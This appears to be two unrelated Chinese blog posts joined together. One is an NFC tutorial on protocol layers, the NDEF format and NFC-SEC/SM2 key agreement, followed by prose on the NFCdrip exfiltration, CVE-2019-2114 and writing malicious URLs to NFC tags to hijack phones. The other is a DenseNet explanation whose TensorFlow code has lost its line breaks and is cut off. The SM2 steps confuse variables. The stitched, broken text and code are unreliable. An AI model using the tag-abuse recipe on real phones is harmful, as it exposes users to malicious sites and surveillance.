NFC(Near Field Communication,近场通信 ) 技术由非接触式射频识别 (RFID) 演变而来,是飞利浦 半导体 ( 现恩智浦半导体公司 )、诺基亚和索尼共同 研制开发的一种短距高频无线电技术。NFC 技术运行于13.56 MHz 射段,使用特殊的射频衰减技术,通过缩短通信距离来保证通信场景的安全与可靠, 有效距离约 10 cm。
如图所示
NFC控制器:也称 NFC芯片,负责将数字信号转换为射频信号,并通过13.56MHz天线发送;同时负责接收射频信号,并将其转换为数字信号,与主控制器和安全元件进行通信。
主控制器:负责实现对NFC控制器的控制和操作以及与安全元件之间通过私有接口进行数据交互。
安全元件:用于存储敏感数据,例如密钥、余额等,通过 NFC控制器与外界设备进行通信,保证数据存储和交易过程的安全性。
天线:通过无线接口与NFC控制器进行通信,实现13.56MHz射频信号的发射与接收。
NFC电子标签:是存储数据的IC卡,能够被NFC读写设备读取,可作为通信的目标。
NFC是在RFID的基础上演变而来的,其协议规范也是基于RFID的众多标准制定和扩展的,可分为物理层 、数 据链路层、协议层和应用层。
物理层,是NFC协议参考模型的最底层,它包括物理通信媒介及其物理特性,该层主要的作用是产生并检测磁场以便发送和接收携带数据的信号,为上层提供一个通信媒介以及它们的机械、电气、功能和规程特性。例如邻近集成电路卡特性、天线、交变磁场、工作频率、输出功率等。物理层的协议主要有ISO14443 A-1/ISO 18092,ISO 14443 B-1、Felica JIS X6319-4/ISO 18092等。
其中NFC A,NFC B和NFC F是指NFC Tag的三种协议,分别遵循ISO 14443 Type A、ISO 14443 Type B 和ISO 18092(JIS X 6319-4)标准的协议,三者是主要区别在于调制方式,编码方案和协议初始化程序有所不同。
数据链路层可分为两层:媒体接入控制层和逻辑链路控制层
媒体接入控制层,主要负责控制与连接物理层的物理介质,描述了工作频率、磁场强度、不同设备之间的通信信号调制和解调等特性。
逻辑链路控制层,主要定义了磁场内轮询、帧格式、命令的请求和应答、冲突检测机制、通信链路初始化 等,与媒体接入控制层一起控制协议层与物理层之间的通信。
协议层,该层类似于OSI七层模型中的传输层,负责非接触环境下数据的半双工数据块的传输。协议层是在数据通信过程中真正传输和发送数据的层,通信载荷可以是任意格式的数据,载荷数据一般由应用层协议定义。
应用层为NFC协议参考模型的顶层,用于为用户提供各种应用服务。该层协议主要指NFC数据交换格式( NFC Data Exchange Format,NDEF)协议, 其定义了用户数据交换的数据格式。
在NFC协议栈的应用层中提到,NDEF是NFC数据交换的格式。
为实现NFC标签、NFC设备以及NFC设备之间的交互通信,NFC论坛(NFC Forum)定义了称为NFC数据交换格式(NDEF)的通用数据格式。
NDEF是轻量级的紧凑的二进制格式,可带有URL,vCard和NFC定义的各种数据类型。
NDEF使NFC的各种功能更加容易的使用各种支持的标签类型进行数据传输,因为NDEF已经封装了NFC标签的种类细节信息,使得应用不用关心是在与何种标签通信。
上层应用产生由一个或多个文件生成的NDEF信息,该消息交由底层LLC层传送给对方,对方可以接受后直接处理或作为中间阶段写入Tag中。当其他设备接近该tag时,会读到该tag中的内容,并把读到的NDEF消息传给上层应用分析和处理。
消息格式:
NDEF交换的信息由一系列记录(Record)组成。每条记录包含一个有效载荷,记录内容可以是URL、MIME媒质或者NFC自定义的数据类型。使用NFC定义的数据类型,载荷内容必须被定义在一个NFC记录类型定义(RTD)文档中。
记录中的数据类型和大小由记录载荷的头部(Header)注明。 这里的头部包含:1、类型域。用来指定载荷的类型。2、载荷的长度数。单位是字节。3、可选的指定载荷是否带有一个NDEF记录。
NDEF完整封包格式如下:
如果Short Flag为1时,对应的封包格式如下:
其中各标记说明如下:
Flag | 说明 | 补充说明 |
---|---|---|
MB | Message Begin | 第一个NDEF record设置,1bit |
ME | Message End | 最后一个NDEF record设置,1bit |
CF | Chunk Flag | 当负载被截断时,第一个和中间的负载会设置此Flag,1bit |
SR | Short Record | 负载长度小于255,设置此Flag;否则负载长度大于255,1bit |
IL | Id Length Exist | 表示后续ID域是否存在,1bit |
TNF | Type Name Format | 设置type中的类型,3bits |
TYPE_LENGTH | Type field length | 表示Type域长度,8bits |
ID_LENGTH | ID field length | 表示ID域长度,8bits |
PAYLOAD_LENGTH | Payload field length | 表示Payload域长度,若SR为1为8bits,为0则为4Bytes |
TYPE | Type field | TYPE信息,与TYPE_LENGTH对应 |
ID | ID field | ID信息,与TYPE_LENGTH对应 |
PAYLOAD | Payload filed | 有效负载信息,与PAYLOADTYPE_LENGTH对应 |
关于TNF,具体值信息如下:
TNF | Value | 说明 |
---|---|---|
Empty | 00 | 空负载 |
NFC Well-known type | 01 | 参考RTD信息 |
Media type | 02 | |
Obsolute URI | 03 | 绝对URI |
External type | 04 | |
Unknown | 05 | 无法解析的格式 |
Unchanged | 06 | 用于Chunked消息 |
Reserve | 07 | 保留,暂无使用 |
按照通信的发起者划分,工作模式可分为主动模式和被动模式 ,在主动模式下, 通信双方均产生RF场;在被动模式下,只有通信发起者产生RF场。
按照通信的对象划分,可分为点对点模式、读卡器模式和卡模拟模式。
NFC-SEC的基本架构
NFC-SEC用户通过NFC-SEC服务访问点(NFC-SEC-SAP)来激活和访问NFC-SEC服务。NFC-SEC实体从NFC-SEC用户出获取NFC-SEC-SDU(请求)并且向NFC-SEC用户返回NFC-SEC-SDU(确认)。
NFC-SEC提供两种安全服务,分别是安全通道服务(SCH)和共享秘密服务(SSE)。
为了提供NFC-SEC服务,对等NFC-SEC实体根据NFC-SEC协议要求,在NFC-SEC连接上交换NFC-SEC-PDU
对等NFC-SEC实体之间通过NFCCIP-1服务访问点(NFCIP-1-SAP)来互相通信,访问NFCIP-1数据服务,发送和接收(NFC-SEC-PDU,一个NFC-SEC-PDU包含NFC-SEC协议控制信息(NFC-SEC-PCI)和一个单独的NFC-SEC-SDU。
SSE在两个对等用户之间建立一个共享秘密,用户可以自行使用
通过密钥协商和密钥确认机制建立共享秘密
SCH提供一个安全通道
通过密钥协商和密钥确认机制建立的共享秘密来导出连接密钥,并且保护之后的双向通信安全。
SSE和SCH服务是通过两个NFC-SEC实体之间共享秘密来调用的,共享秘密通过密钥协商和密钥确认来建立,下面进一步详细解释整个过程。
在开始服务前,对于每个NFC-SEC实体, 根据SM2椭圆曲线公钥密码算法生成自身的公钥和私钥,以及用于密钥交换的临时密钥对。
通信双方协商出一个固定长度k的共享密钥,这个密钥不能提前预知。
过程如下:
发送者(A)转换
a)生成随机数NA
b)利用 SM2椭圆曲线公钥密码算法生成临时密钥QA
c)发送QA||NA作为ACT_REQ PDU(激活请求PDU)的有效载荷
d)从ACT_RES PDU(激活响应PDU)的有效载荷中接收QB‘||NB’
e)根据QB‘解压出QB’验证是否有效
f)计算出共享秘密Z
接收者(B)转换
a)从ACT_REQ PDU(激活请求PDU)有效载荷中接收QA‘||NA’
b)生成随机数NB
c)利用 SM2椭圆曲线公钥密码算法生成临时密钥QB
d)发送QB||NB作为ACT_RES PDU(激活响应PDU)的有效载荷
e)根据QA‘解压出QA’验证是否有效
f)计算出共享秘密Z
[http://www.gmbz.org.cn/main/viewfile/20180108023456003485.html]: GM/T 0003
设用户A和B协商获取密钥数据的长度为klen比特,用户A是发起方,用户B是响应方。用户A和B双方为了获取相同的密钥,应实现如下运算步骤:
w=[[log2(n)]/2]-1。(注:此处的[]指的是顶函数)
A1:用随机数发生器产生随机数rA∈[1,n-1];
A2:计算椭圆曲线点RA=[rA]G=(x1,y1);
A3:将RA发送给用户B。
B1:用随机数发生器产生随机数rB∈[1,n-1];
B2:计算椭圆曲线点RB=[rB]G=(x2,y2);
B3:从RB中取出域元素x2,按本文第一部分的4.2.7给出的方法将x2的数据类型转换为整数,计算x2`=2^w+(x2&(2^w-1));
B4:计算tB=(dB+x2`*rB)mod n;
B5:验证RA是否满足椭圆曲线的方程,若不满足则协商失败;否则从从RB中取出域元素x1,按本文第一部分的4.2.7给出的方法将x2的数据类型转换为整数,
计算x1`=2^w+(x1&(2^w-1));
B6:计算椭圆曲线点V=[h*tB] (PA+[x1`]RA)=(xv,yv),若V是无穷远点,则B协商失败;否则按本文第一部分4.2.5和4.2.4给出的方法将xv,yv的数据类型转换为比特串;
B7:计算KB=KDF(xv||yv||ZA||ZB,klen);
B8:(选项)按本文第一部分4.2.5和4.2.4给出的方法将RA的坐标x1、y1和RB的坐标x2、y2的数据类型转换为比特串,计算SB==Hash…….;
B9:将RB、(选项SB)发送给用户A;
A4:从RA中提取出域元素x1,按本文第一本分4.2.7给出的方法将x1的数据类型转换为整数,计算x1`=2^w+(x1&(2^w-1));
A5:tA=(dA+x2`*rA)mod n;
A6:验证RB是否满足椭圆曲线的方程,若不满足则协商失败;否则从从RB中取出域元素x2,按本文第一部分的4.2.7给出的方法将x2的数据类型转换为整数,
计算x2`=2^w+(x2&(2^w-1));
A7:计算椭圆曲线点U=[h*tA] (PB+[x2`]RB)=(xu,yu),若U是无穷远点,则A协商失败;否则按本文第一部分4.2.5和4.2.4给出的方法将xu,yu的数据类型转换为比特串;
A8:计算KA=KDF(xu||yu||ZA||ZB,klen);
A9:(选项)计算S1,并检验S1=SB是否成立,若不成立则从B到A的秘钥确认失败;
A10:(选项)计算SA,并将SA发送给用户B。
B10:计算S2,并检验S2=SA是否成立,若不成立则从A到B的秘钥确认失败。
作用:利用协商好的共享秘密Z,来生成其它用途的密钥,
使用的算法为SM4算法
密钥导出函数(KDF)
KDF(K,S)=SM4K(s)
SSE的KDF:
SCH的KDF:
密钥用途:
发送者(A)转换
对于SSE服务,密钥导出为:MKSSE=KDF-SSE(NA,NB’,Z,IDA,IDB)
对于SCH服务,密钥导出为:{MKSCH,KESCH,KESCH}=KDF-SCE(NA,NB’,Z,IDA,IDB)
接收者(B)转换
对于SSE服务,密钥导出为:MKSSE=KDF-SSE(NA‘,NB,Z,IDA,IDB)
对于SCH服务,密钥导出为:{MKSCH,KESCH,KESCH}=KDF-SCE(NA’,NB,Z,IDA,IDB)
当一个KDF生成一个密钥时,对等的NFC-SEC实体都要检查双方是否确实拥有相同的密钥
发送者(A)转换
a)计算从A到B的密钥确认标识,MacTagA=SM4(MK,IDA||IDB||QA||QB‘)
b)发送MacTagA作为VFY_REQ PDU(验证请求PDU)的有效载荷
c)从VFY_RES PDU(验证响应PDU)的有效载荷接收MacTagB‘
d)检验从B收到的密钥确认标识
e)设置共享秘密为MKSSE
接收者(B)转换
a)从VFY_REQ PDU(验证请求PDU)的有效载荷接收MacTagA’
b检验从A收到的密钥确认标识
c)计算从B到A的密钥确认标识,MacTagB=SM4(MK,IDA||IDB||QA‘||QB)
d)发送MacTagB作为VFY_RES PDU(验证响应PDU)的有效载荷
e)设置共享秘密为MKSSE
先生成IV=SM4(MK,KI(完整性密钥)||NA||NB)
初始化序号变量SNV
消息鉴别码(MAC)=SM4KI(SNV||DataLen||EncData)————用来鉴别消息完整性
CTR模式进行分组加密
参考标准:
国标:
GB/T 33746.1-2017
GB/T 33746.2-2017
GB/T 17964-2008
GM/T 0003-2012
GM/T 0002-2012
国际标:
ISO/IEC 13157-1-2014
ISO/IEC 13157-2-2014
NFC的通信距离在20厘米以内,但是在范围之外仍然可以进行渗透。
应用安全公司Checkmarx高级研究员 Pedro Umbelino 发现,NFC的实际有效范围比10厘米长得多,如果目标设备物理隔离但装有其他通信系统,比如WiFi、蓝牙和GSM,NFC在秘密渗漏数据方面可谓非常高效。
Pedro Umbelino 为自己的攻击方法命名NFCdrip,通过修改NFC的工作模式来调制数据。在安卓系统中,修改NFC工作模式不需要任何特殊权限,发起NFCdrip攻击更加容易。
NFCdrip采用振幅键控(ASK)调制的最简形式——开关键控(OOK),也就是将载波信号的有无定义为“1”和“0”。由于一个字符由8比特构成,渗漏一个字符需要发出8个比特,但研究人员通常建议添加额外的校验位。
Umbelino的实验证明,安卓手机上安装恶意软件便可向几十米外连接了普通调幅(AM)收音机的另一部安卓手机传输数据。
在实验中,2.5米距离内,该攻击可以每秒10-12比特的速率实现无错传输。随着距离的延伸,2.5-10米距离内,虽然速率不变,但会出现一些错误,不过这些错误可以修正。距离超过10米,信号会衰减,错误会增多,但Umbelino仍成功在60米距离上传输了一些数据。甚至连墙都挡不住这种攻击,10米距离内穿墙传输无碍。
谷歌在Android 4.0系统引入Android Beam功能,能够最大程度地利用NFC进行分享。 NFC Beam允许Android设备使用无线电波将图像、文件、视频或者应用程序之类的数据发送到附近的另一台设备,以替代WiFi或蓝牙。
漏洞名为CVE-2019-2114,黑客可以利用此漏洞将恶意软件传播到附近的手机。
一般情况下,通过NFC传输的应用程序(APK文件)会存储在磁盘上,并在屏幕上显示通知。此外该通知会询问手机持有人是否同意NFC服务从未知来源安装应用程序。
但是研究人员发现在Android 8(Oreo)及更高版本的手机上并没有此项通知服务。也就是说,在这种情况下,NFC会默认允许设备一键安装应用程序,而不会发出任何安全警告。
由于没有提示从未知来源进行安装,恶意软件会直接开始安装,很多用户会误以为是来自官方商店的消息,然而在安装之后则会面临新的危险。
工具:一张空白的NFC Tag,一个支持NFC的手机,TagWriter软件
利用TagWriter软件可以向空白的NFC Tag中写入恶意网站的链接,当NFC Tag靠近手机是,便会强制手机打开写入的恶意网址,从而对手机进行监听。
[
]]>作为CVPR2017年的Best Paper, DenseNet脱离了加深网络层数(ResNet)和加宽网络结构(Inception)来提升网络性能的定式思维,从特征的角度考虑,通过特征重用和旁路(Bypass)设置,既大幅度减少了网络的参数量,又在一定程度上缓解了gradient vanishing(梯度消失)问题的产生.结合信息流和特征复用的假设,DenseNet当之无愧成为2017年计算机视觉顶会的年度最佳论文.
随着CNN网络层数的不断增加,gradient vanishing和model degradation(模型退化)问题出现在了人们面前,BatchNormalization(批规范化)的广泛使用在一定程度上缓解了gradient vanishing的问题,而ResNet和Highway Networks通过构造恒等映射设置旁路,进一步减少了gradient vanishing和model degradation的产生.Fractal Nets通过将不同深度的网络并行化,在获得了深度的同时保证了梯度的传播,随机深度网络通过对网络中一些层进行失活,既证明了ResNet深度的冗余性,又缓解了上述问题的产生. 虽然这些不同的网络框架通过不同的实现加深的网络层数,但是他们都包含了相同的核心思想,既将feature map进行跨网络层的连接.
相比ResNet,DenseNet提出了一个更激进的密集连接机制:即互相连接所有的层,具体来说就是每个层都会接受其前面所有层作为其额外的输入。图1为ResNet网络的连接机制,作为对比,图2为DenseNet的密集连接机制。可以看到,ResNet是每个层与前面的某层(一般是2~3层)短路连接在一起,连接方式是通过元素级相加。而在DenseNet中,每个层都会与前面所有层在channel维度上连接(concat)在一起(这里各个层的特征图大小是相同的,后面会有说明),并作为下一层的输入。对于一个 L层的网络,DenseNet共包含(L(L+1))/2个连接,相比ResNet,这是一种密集连接。而且DenseNet是直接concat来自不同层的特征图,这可以实现特征重用,提升效率,这一特点是DenseNet与ResNet最主要的区别。
如果用公式表示的话,传统的网络在 L 层的输出为:
而对于ResNet,增加了来自上一层输入的identity函数:
在DenseNet中,会连接前面所有层作为输入:
其中,上面的 H~L~(.)代表是非线性转化函数(non-liear transformation),它是一个组合操作,其可能包括一系列的BN(Batch Normalization),ReLU,Pooling及Conv操作。注意这里 L层与L-1 层之间可能实际上包含多个卷积层。
DenseNet的前向过程如图3所示,可以更直观地理解其密集连接方式,比如 h~3~ 的输入不仅包括来自h~2~ 的x~2~,还包括前面两层的 x~1~和 x~2~ ,它们是在channel维度上连接在一起的。
如图所示,DenseNet的网络结构主要由DenseBlock和Transition组成。
在DenseBlock中,各个层的特征图大小一致,可以在channel维度上连接。DenseBlock中的非线性组合函数 H(.) 采用的是BN+ReLU+3x3 Conv的结构,如图所示。另外值得注意的一点是,与ResNet不同,所有DenseBlock中各个层卷积之后均输出K个特征图,即得到的特征图的channel数为K,或者说采用K个卷积核,K在DenseNet称为growth rate,这是一个超参数。一般情况下使用较小的K(比如12),就可以得到较佳的性能。假定输入层的特征图的channel数为K~0~,那么L层输入的channel数为k~0~+k(L-1),因此随着层数增加,尽管K设定得较小,DenseBlock的输入会非常多,不过这是由于特征重用所造成的,每个层仅有K个特征是自己独有的。
由于后面层的输入会非常大,DenseBlock内部可以采用bottleneck层来减少计算量,主要是原有的结构中增加1x1 Conv,如图所示,即BN+ReLU+1x1 Conv+BN+ReLU+3x3 Conv,称为DenseNet-B结构。其中1x1 Conv得到4K个特征图它起到的作用是降低特征数量,从而提升计算效率。
对于Transition层,它主要是连接两个相邻的DenseBlock,并且降低特征图大小。Transition层包括一个1x1的卷积和2x2的AvgPooling,结构为BN+ReLU+1x1 Conv+2x2 AvgPooling。另外,Transition层可以起到压缩模型的作用。假定Transition的上接DenseBlock得到的特征图channels数为m,Transition层可以产生[θm]个特征(通过卷积层),其中θ∈(0,1]是压缩系数(compression rate)。当θ=1时,特征个数经过Transition层没有变化,即无压缩,而当压缩系数小于1时,这种结构称为DenseNet-C,对于使用bottleneck层的DenseBlock结构和压缩系数小于1的Transition组合结构称为DenseNet-BC。
DenseNet共在三个图像分类数据集(CIFAR,SVHN和ImageNet)上进行测试。对于前两个数据集,其输入图片大小为32×32,所使用的DenseNet在进入第一个DenseBlock之前,首先进行进行一次3x3卷积(stride=1),卷积核数为16(对于DenseNet-BC为2K)。DenseNet共包含三个DenseBlock,各个模块的特征图大小分别为32×32,16×16和8×8,每个DenseBlock里面的层数相同。最后的DenseBlock之后是一个global AvgPooling层,然后送入一个softmax分类器。注意,在DenseNet中,所有的3x3卷积均采用padding=1的方式以保证特征图大小维持不变。对于基本的DenseNet,使用如下三种网络配置:{L=40,k=12},{L=100,k=12},{L=40,k=24}。而对于DenseNet-BC结构,使用如下三种网络配置:{L=100,k=12},{L=250,k=24},{L=250,k=40} 。这里的L指的是网络总层数(网络深度),一般情况下,我们只把带有训练参数的层算入其中,而像Pooling这样的无参数层不纳入统计中,此外BN层尽管包含参数但是也不单独统计,而是可以计入它所附属的卷积层。对于普通的L=40,k=12网络,除去第一个卷积层、2个Transition中卷积层以及最后的Linear层,共剩余36层,均分到三个DenseBlock可知每个DenseBlock包含12层。其它的网络配置同样可以算出各个DenseBlock所含层数。
对于ImageNet数据集,图片输入大小为224×224,网络结构采用包含4个DenseBlock的DenseNet-BC,其首先是一个stride=2的7x7卷积层(卷积核数为2K),然后是一个stride=2的3x3 MaxPooling层,后面才进入DenseBlock。ImageNet数据集所采用的网络配置如表所示:
import tensorflow as tffrom tflearn.layers.conv import global_avg_poolfrom tensorflow.contrib.layers import batch_norm, flattenfrom tensorflow.contrib.layers import xavier_initializerfrom tensorflow.contrib.framework import arg_scopefrom cifar10 import *# Hyperparametergrowth_k = 24nb_block = 2 # how many (dense block + Transition Layer) ?init_learning_rate = 1e-4epsilon = 1e-4 # AdamOptimizer epsilondropout_rate = 0.2# Momentum Optimizer will usenesterov_momentum = 0.9weight_decay = 1e-4# Label & batch_sizebatch_size = 64iteration = 782# batch_size * iteration = data_set_numbertest_iteration = 10total_epochs = 300def conv_layer(input, filter, kernel, stride=1, layer_name="conv"): with tf.name_scope(layer_name): network = tf.layers.conv2d(inputs=input, use_bias=False, filters=filter, kernel_size=kernel, strides=stride, padding='SAME') return networkdef Global_Average_Pooling(x, stride=1): """ width = np.shape(x)[1] height = np.shape(x)[2] pool_size = [width, height] return tf.layers.average_pooling2d(inputs=x, pool_size=pool_size, strides=stride) # The stride value does not matter It is global average pooling without tflearn """ return global_avg_pool(x, name='Global_avg_pooling') # But maybe you need to install h5py and curses or notdef Batch_Normalization(x, training, scope): with arg_scope([batch_norm], scope=scope, updates_collections=None, decay=0.9, center=True, scale=True, zero_debias_moving_mean=True) : return tf.cond(training, lambda : batch_norm(inputs=x, is_training=training, reuse=None), lambda : batch_norm(inputs=x, is_training=training, reuse=True))def Drop_out(x, rate, training) : return tf.layers.dropout(inputs=x, rate=rate, training=training)def Relu(x): return tf.nn.relu(x)def Average_pooling(x, pool_size=[2,2], stride=2, padding='VALID'): return tf.layers.average_pooling2d(inputs=x, pool_size=pool_size, strides=stride, padding=padding)def Max_Pooling(x, pool_size=[3,3], stride=2, padding='VALID'): return tf.layers.max_pooling2d(inputs=x, pool_size=pool_size, strides=stride, padding=padding)def Concatenation(layers) : return tf.concat(layers, axis=3)def Linear(x) : return tf.layers.dense(inputs=x, units=class_num, name='linear')def Evaluate(sess): test_acc = 0.0 test_loss = 0.0 test_pre_index = 0 add = 1000 for it in range(test_iteration): test_batch_x = test_x[test_pre_index: test_pre_index + add] test_batch_y = test_y[test_pre_index: test_pre_index + add] test_pre_index = test_pre_index + add test_feed_dict = { x: test_batch_x, label: test_batch_y, learning_rate: epoch_learning_rate, training_flag: False } loss_, acc_ = sess.run([cost, accuracy], feed_dict=test_feed_dict) test_loss += loss_ / 10.0 test_acc += acc_ / 10.0 summary = tf.Summary(value=[tf.Summary.Value(tag='test_loss', simple_value=test_loss), tf.Summary.Value(tag='test_accuracy', simple_value=test_acc)]) return test_acc, test_loss, summaryclass DenseNet(): def __init__(self, x, nb_blocks, filters, training): self.nb_blocks = nb_blocks self.filters = filters self.training = training self.model = self.Dense_net(x) def bottleneck_layer(self, x, scope): # print(x) with tf.name_scope(scope): x = Batch_Normalization(x, training=self.training, scope=scope+'_batch1') x = Relu(x) x = conv_layer(x, filter=4 * self.filters, kernel=[1,1], layer_name=scope+'_conv1') x = Drop_out(x, rate=dropout_rate, training=self.training) x = Batch_Normalization(x, training=self.training, scope=scope+'_batch2') x = Relu(x) x = conv_layer(x, filter=self.filters, kernel=[3,3], layer_name=scope+'_conv2') x = Drop_out(x, rate=dropout_rate, training=self.training) # print(x) return x def transition_layer(self, x, scope): with tf.name_scope(scope): x = Batch_Normalization(x, training=self.training, scope=scope+'_batch1') x = Relu(x) # x = conv_layer(x, filter=self.filters, kernel=[1,1], layer_name=scope+'_conv1') # https://github.com/taki0112/Densenet-Tensorflow/issues/10 in_channel = x.shape[-1] x = conv_layer(x, filter=in_channel*0.5, kernel=[1,1], layer_name=scope+'_conv1') x = Drop_out(x, rate=dropout_rate, training=self.training) x = Average_pooling(x, pool_size=[2,2], stride=2) return x def dense_block(self, input_x, nb_layers, layer_name): with tf.name_scope(layer_name): layers_concat = list() layers_concat.append(input_x) x = self.bottleneck_layer(input_x, scope=layer_name + '_bottleN_' + str(0)) layers_concat.append(x) for i in range(nb_layers - 1): x = Concatenation(layers_concat) x = self.bottleneck_layer(x, scope=layer_name + '_bottleN_' + str(i + 1)) layers_concat.append(x) x = Concatenation(layers_concat) return x def Dense_net(self, input_x): x = conv_layer(input_x, filter=2 * self.filters, kernel=[7,7], stride=2, layer_name='conv0') # x = Max_Pooling(x, pool_size=[3,3], stride=2) """ for i in range(self.nb_blocks) : # 6 -> 12 -> 48 x = self.dense_block(input_x=x, nb_layers=4, layer_name='dense_'+str(i)) x = self.transition_layer(x, scope='trans_'+str(i)) """ x = self.dense_block(input_x=x, nb_layers=6, layer_name='dense_1') x = self.transition_layer(x, scope='trans_1') x = self.dense_block(input_x=x, nb_layers=12, layer_name='dense_2') x = self.transition_layer(x, scope='trans_2') x = self.dense_block(input_x=x, nb_layers=48, layer_name='dense_3') x = self.transition_layer(x, scope='trans_3') x = self.dense_block(input_x=x, nb_layers=32, layer_name='dense_final') # 100 Layer x = Batch_Normalization(x, training=self.training, scope='linear_batch') x = Relu(x) x = Global_Average_Pooling(x) x = flatten(x) x = Linear(x) # x = tf.reshape(x, [-1, 10]) return xtrain_x, train_y, test_x, test_y = prepare_data()train_x, test_x = color_preprocessing(train_x, test_x)# image_size = 32, img_channels = 3, class_num = 10 in cifar10x = tf.placeholder(tf.float32, shape=[None, image_size, image_size, img_channels])label = tf.placeholder(tf.float32, shape=[None, class_num])training_flag = tf.placeholder(tf.bool)learning_rate = tf.placeholder(tf.float32, name='learning_rate')logits = DenseNet(x=x, nb_blocks=nb_block, filters=growth_k, training=training_flag).modelcost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=label, logits=logits))"""l2_loss = tf.add_n([tf.nn.l2_loss(var) for var in tf.trainable_variables()])optimizer = tf.train.MomentumOptimizer(learning_rate=learning_rate, momentum=nesterov_momentum, use_nesterov=True)train = optimizer.minimize(cost + l2_loss * weight_decay)In paper, use MomentumOptimizerinit_learning_rate = 0.1but, I'll use AdamOptimizer"""optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate, epsilon=epsilon)train = optimizer.minimize(cost)correct_prediction = tf.equal(tf.argmax(logits, 1), tf.argmax(label, 1))accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))saver = tf.train.Saver(tf.global_variables())with tf.Session() as sess: ckpt = tf.train.get_checkpoint_state('./model') if ckpt and tf.train.checkpoint_exists(ckpt.model_checkpoint_path): saver.restore(sess, ckpt.model_checkpoint_path) else: sess.run(tf.global_variables_initializer()) summary_writer = tf.summary.FileWriter('./logs', sess.graph) epoch_learning_rate = init_learning_rate for epoch in range(1, total_epochs + 1): if epoch == (total_epochs * 0.5) or epoch == (total_epochs * 0.75): epoch_learning_rate = epoch_learning_rate / 10 pre_index = 0 train_acc = 0.0 train_loss = 0.0 for step in range(1, iteration + 1): if pre_index+batch_size < 50000 : batch_x = train_x[pre_index : pre_index+batch_size] batch_y = train_y[pre_index : pre_index+batch_size] else : batch_x = train_x[pre_index : ] batch_y = train_y[pre_index : ] batch_x = data_augmentation(batch_x) train_feed_dict = { x: batch_x, label: batch_y, learning_rate: epoch_learning_rate, training_flag : True } _, batch_loss = sess.run([train, cost], feed_dict=train_feed_dict) batch_acc = accuracy.eval(feed_dict=train_feed_dict) train_loss += batch_loss train_acc += batch_acc pre_index += batch_size if step == iteration : train_loss /= iteration # average loss train_acc /= iteration # average accuracy train_summary = tf.Summary(value=[tf.Summary.Value(tag='train_loss', simple_value=train_loss), tf.Summary.Value(tag='train_accuracy', simple_value=train_acc)]) test_acc, test_loss, test_summary = Evaluate(sess) summary_writer.add_summary(summary=train_summary, global_step=epoch) summary_writer.add_summary(summary=test_summary, global_step=epoch) summary_writer.flush() line = "epoch: %d/%d, train_loss: %.4f, train_acc: %.4f, test_loss: %.4f, test_acc: %.4f \n" % ( epoch, total_epochs, train_loss, train_acc, test_loss, test_acc) print(line) with open('logs.txt', 'a') as f : f.write(line) saver.save(sess=sess, save_path='./model/dense.ckpt')
由于我做的是一维数据识别,需要将代码改为一维,和修改数据读入。
修改下面部分即可改变网络结构,由于电脑显卡太差,原论文中的结构会因为显存不够而报错。
def Dense_net(self, input_x): x = conv_layer(input_x, filter=2 * self.filters, kernel=[1, 7], stride=2, layer_name='conv0')#卷积 x = Max_Pooling(x, pool_size=[1, 3], stride=2)#最大池化 for i in range(self.nb_blocks): # 6 -> 12 -> 48 x = self.dense_block(input_x=x, nb_layers=2, layer_name='dense_' + str(i)) x = self.transition_layer(x, scope='trans_' + str(i)) """ x = self.dense_block(input_x=x, nb_layers=6, layer_name='dense_1') x = self.transition_layer(x, scope='trans_1') x = self.dense_block(input_x=x, nb_layers=12, layer_name='dense_2') x = self.transition_layer(x, scope='trans_2') x = self.dense_block(input_x=x, nb_layers=48, layer_name='dense_3') x = self.transition_layer(x, scope='trans_3') """ x = self.dense_block(input_x=x, nb_layers=4, layer_name='dense_final') # 100 Layer x = Batch_Normalization(x, training=self.training, scope='linear_batch') x = Relu(x) x = Global_Average_Pooling(x) x = flatten(x) x = Linear(x) # x = tf.reshape(x, [-1, 10]) return x
import tensorflow as tffrom tflearn.layers.conv import global_avg_poolfrom tensorflow.examples.tutorials.mnist import input_datafrom tensorflow.contrib.layers import batch_norm, flattenfrom tensorflow.contrib.framework import arg_scopeimport numpy as npimport matplotlib.pyplot as plt# Hyperparametergrowth_k = 12nb_block = 1 # how many (dense block + Transition Layer) ?init_learning_rate = 1e-3epsilon = 1e-8 # AdamOptimizer epsilondropout_rate = 0.2# Momentum Optimizer will usenesterov_momentum = 0.9weight_decay = 1e-4# Label & batch_sizeclass_num = 2total_epochs = 400DATA_SIZE = 1175BATCH_SIZE =128acc_print=[]acc_printx=[]acc_printy=[]tf.reset_default_graph()def conv_layer(input, filter, kernel, stride=1, layer_name="conv"): with tf.name_scope(layer_name): network = tf.layers.conv2d(inputs=input, filters=filter, kernel_size=kernel, strides=stride, padding='SAME') return networkdef Global_Average_Pooling(x, stride=1): """ width = np.shape(x)[1] height = np.shape(x)[2] pool_size = [width, height] return tf.layers.average_pooling2d(inputs=x, pool_size=pool_size, strides=stride) # The stride value does not matter It is global average pooling without tflearn """ return global_avg_pool(x, name='Global_avg_pooling') # But maybe you need to install h5py and curses or notdef Batch_Normalization(x, training, scope): with arg_scope([batch_norm], scope=scope, updates_collections=None, decay=0.9, center=True, scale=True, zero_debias_moving_mean=True): return tf.cond(training, lambda: batch_norm(inputs=x, is_training=training, reuse=None), lambda: batch_norm(inputs=x, is_training=training, reuse=True))def Drop_out(x, rate, training): return tf.layers.dropout(inputs=x, rate=rate, training=training)def Relu(x): return tf.nn.relu(x)def Average_pooling(x, pool_size=[1, 2], stride=2, padding='VALID'): return tf.layers.average_pooling2d(inputs=x, pool_size=pool_size, strides=stride, padding=padding)def Max_Pooling(x, pool_size=[1, 3], stride=2, padding='VALID'): return tf.layers.max_pooling2d(inputs=x, pool_size=pool_size, strides=stride, padding=padding)def Concatenation(layers): return tf.concat(layers, axis=3)def Linear(x): return tf.layers.dense(inputs=x, units=class_num, name='linear')class DenseNet(): def __init__(self, x, nb_blocks, filters, training): self.nb_blocks = nb_blocks self.filters = filters self.training = training self.model = self.Dense_net(x) def bottleneck_layer(self, x, scope): # print(x) with tf.name_scope(scope): x = Batch_Normalization(x, training=self.training, scope=scope + '_batch1') x = Relu(x) x = conv_layer(x, filter=4 * self.filters, kernel=[1, 1], layer_name=scope + '_conv1') x = Drop_out(x, rate=dropout_rate, training=self.training) x = Batch_Normalization(x, training=self.training, scope=scope + '_batch2') x = Relu(x) x = conv_layer(x, filter=self.filters, kernel=[1, 3], layer_name=scope + '_conv2') x = Drop_out(x, rate=dropout_rate, 